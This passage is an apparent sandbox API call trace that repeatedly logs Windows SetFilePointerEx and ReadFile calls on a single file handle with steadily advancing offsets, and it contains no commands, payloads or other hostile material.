out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x455, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x44d, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x445, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x43d, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x435, lpOverlapped=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42d, lpOverlapped=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x425, lpOverlapped=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x41d, lpOverlapped=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.893] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x415, lpOverlapped=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x40d, lpOverlapped=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x405, lpOverlapped=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3fd, lpOverlapped=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.894] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f5, lpOverlapped=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ed, lpOverlapped=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e5, lpOverlapped=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3dd, lpOverlapped=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.895] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d5, lpOverlapped=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3cd, lpOverlapped=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c5, lpOverlapped=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3bd, lpOverlapped=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b5, lpOverlapped=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ad, lpOverlapped=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a5, lpOverlapped=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x39d, lpOverlapped=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x395, lpOverlapped=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x38d, lpOverlapped=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x385, lpOverlapped=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x37d, lpOverlapped=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x375, lpOverlapped=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x36d, lpOverlapped=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.898] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x365, lpOverlapped=0x0) returned 1 [0068.898] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x35d, lpOverlapped=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x355, lpOverlapped=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x34d, lpOverlapped=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x345, lpOverlapped=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x33d, lpOverlapped=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x335, lpOverlapped=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32d, lpOverlapped=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.900] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x325, lpOverlapped=0x0) returned 1 [0068.900] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x31d, lpOverlapped=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x315, lpOverlapped=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x30d, lpOverlapped=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x305, lpOverlapped=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.901] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2fd, lpOverlapped=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f5, lpOverlapped=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.902] ReadFile 